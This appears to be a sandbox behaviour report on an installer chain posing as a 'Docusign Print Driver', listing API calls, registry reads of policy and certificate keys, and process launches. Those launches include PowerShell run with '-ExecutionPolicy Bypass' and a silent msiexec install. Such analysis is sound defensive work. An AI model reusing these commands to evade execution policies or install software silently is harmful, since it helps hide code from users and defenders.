000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004720) "cmd.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004720) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006420) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006420) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000000000000000000000500179e9ef0200001019a896fb7f0000000000000000000000002896fb7f00000000000000000000ee269194fb7f0000070000000000000070c68792fa00000070c68792fa000000400e9f94fb7f000000002896fb7f00007b634794fb7f0000030000000000000000000000000000009200000000000000a0049896fb7f000060c68792fa000000bb5f9194fb7f00000d000000fb7f0000a0049896fb7f000092000000000000000000000000000000a0049896fb7f00001c5b9194fb7f0000000000000000000092000000000000000d000000fb7f00000d00000000000000aa00000000000000d2453996fb7f0000a03a3e96 (UID: 00000000-00006420) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007528) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007528) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000040e4a43ef10100001019a896fb7f0000000000000000000000002896fb7f00000000000000000000ee269194fb7f0000070000000000000020c91f616100000020c91f6161000000400e9f94fb7f000000002896fb7f00007b634794fb7f0000030000000000000000000000000000009200000000000000a0049896fb7f000010c91f6161000000bb5f9194fb7f00000d000000fb7f0000a0049896fb7f000092000000000000000000000000000000a0049896fb7f00001c5b9194fb7f0000000000000000000092000000000000000d000000fb7f00000d00000000000000aa00000000000000d2453996fb7f0000a03a3e96 (UID: 00000000-00007528) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002772) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002772)45:T5f5,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026de7bfb7f000000010000000000003826de7bfb7f00000000000000000000409da195fb7f000000000000000000000001000000000000701f2894fb7f00000000dd7bfb7f000001000000000000002f19dd7bfb7f000000000000000000003826de7bfb7f000000d01500 (UID: 00000000-00006420) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026de7bfb7f000000010000000000003826de7bfb7f00000000000000000000409da195fb7f000000000000000000000001000000000000701f2894fb7f00000000dd7bfb7f000001000000000000002f19dd7bfb7f000000000000000000003826de7bfb7f000000d01500 (UID: 00000000-00007528) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026cb88fb7f000000010000000000003826cb88fb7f00000000000000000000409da195fb7f000000000000000000000001000000000000701f2894fb7f00000000ca88fb7f000001000000000000002f19ca88fb7f000000000000000000003826cb88fb7f000000d01500 (UID: 00000000-00002772) "Docusign Print Driver x64.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a0000020000000000000070e1f500f88e2301a835240100000000000000000000120102000000000000000200000000001201c00112010800000001000000040b12010000000000001901000b12017ce1f50070e1f500be6012770000306ebe601277080000000000000008000000858984b9b4e3f500256a366e000019010800000001000000 (UID: 00000000-00007000)46:T5d0,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")47:T692,GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-28-005694D0 GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-52-00564DED GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-53-00563194 NtOpenProcessToken@NTDLL.DLL at 00000000-00005036-43131-82-0056806E GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-118-0056818C GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-119-005625AB GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-129-005681B0 GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-130-00566C65 GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-151-0056846A GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-181-00566571 GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-183-00566167 GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-229-0056307A GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-235-00564CE3 GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-291-005683B3 GetProcessHeap@KERNELBASE.DLL at 00000000-00005036-43131-294-005694E2 GetProcessHeap@KERNEL32.DLL at 00000000-00007008-46143-193-000839DF GetProcessHeap@KERNEL32.DLL at 00000000-00007008-46143-194-00083B7C GetProcessHeap@KERNEL32.DLL at 00000000-00007008-46143-196-00083BA1 GetProcessHeap@KERNEL32.DLL at 00000000-00007008-46143-197-00083AA4 GetProcessHeap@KERNEL32.DLL at 00000000-00007008-46143-199-00083C5F OpenProcessToken@ADVAPI32.DLL at 00000000-00007008-46143-366-000C0141 OpenProcess@KERNEL32.DLL at 00000000-00007008-46143-993-00094AB0 OpenProcessToken@ADVAPI32.DLL at 00000000-00007008-46143-1071-00084639 GetProcessHeap@KERNEL32.DLL at 00000000-00007008-46143-1965-000B901E48:T1413,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006420-00000C17-1837652140 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00006420-00000C17-1838238767 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006420-00000C17-1838385219 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006420-00000C17-1839274814 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006420-00000C17-1839626407 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00007528-00000C17-1845172401 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00007528-00000C17-1845933494 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007528-00000C17-1846069749 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007528-00000C17-1846891404 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007528-00000C17-1847322406 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1853331969 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00002772-00000C17-1854074366 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002772-00000C17-1854267731 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002772-00000C17-1855419729 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002772-00000C17-1855755297 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1856168454 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1856261131 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1856437792 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1856789979 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1856910788 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1856965473 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1857033580 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00002772-00000C17-1857318197 "msiexec.exe" queries volume information of an entire harddrive"C:\" at 00000000-00003084-00000C17-1859929023 "msiexec.exe" queries volume information of "C:\share" at 00000000-00003084-00000C17-186588009249:Taad,"SecondInstaller.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\DOCUSIGN PRINT DRIVER X64.EXE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "BUNDLEUPGRADECODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "BUNDLEADDONCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "BUNDLEPATCHCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "BUNDLEDETECTCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "BUNDLEUPGRADECODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "BUNDLEADDONCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "BUNDLEPATCHCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "BUNDLEDETECTCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "BUNDLEUPGRADECODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "BUNDLEADDONCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "BUNDLEPATCHCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "BUNDLEDETECTCODE") "Docusign Print Driver x64.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX")4a:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")4b:T4c8,"rundll32.exe" called "CreateDirectoryW" with parameter %WINDIR%\Installer\MSI646E.tmp- (UID: 00000000-00005036) "SecondInstaller.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\ (UID: 00000000-00007120) "SecondInstaller.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr (UID: 00000000-00007120) "SecondInstaller.exe" called "CreateDirectoryW" (UID: 00000000-00007008) "SecondInstaller.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\ (UID: 00000000-00007008) "SecondInstaller.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\1043\ (UID: 00000000-00007008) "SecondInstaller.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\es\ (UID: 00000000-00007008) "SecondInstaller.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\fr\ (UID: 00000000-00007008) "SecondInstaller.exe" called "CreateDirectoryW" with parameter %WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\it\ (UID: 00000000-00007008)4c:T4d9,"cmd.exe" called "CreateProcessW" with parameter "fltmc" - (UID: 00000000-00004720) "cmd.exe" called "CreateProcessW" with parameter "powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Esc" - (UID: 00000000-00004720), "cmd.exe" called "CreateProcessW" with parameter "powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi';" - (UID: 00000000-00004720) "cmd.exe" called "CreateProcessW" with parameter "msiexec.exe /i "%TEMP%\SC_FeedbackTool_107829898\SC_FeedbackTool.msi" /quiet /norestart /L*V "C:\Use" - (UID: 00000000-00004720), "cmd.exe" called "CreateProcessW" with parameter ""%TEMP%\SC_FeedbackTool_107829898\SecondInstaller.exe"" - (UID: 00000000-00004720), "SecondInstaller.exe" called "CreateProcessW" with parameter ""%WINDIR%\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr\SecondInstaller.exe" -burn.clean.room="%LOCALAPPDATA%\" - (UID: 00000000-00007120) "SecondInstaller.exe" called "CreateProcessW" with parameter ""%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{C57982AE-9F" - (UID: 00000000-00007008)4d:Ta075,"powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\704b6614c4744d16332d08daf175deed\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\481f1a5c0959042363de5c765867b51d\System.Management.Automation. (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" 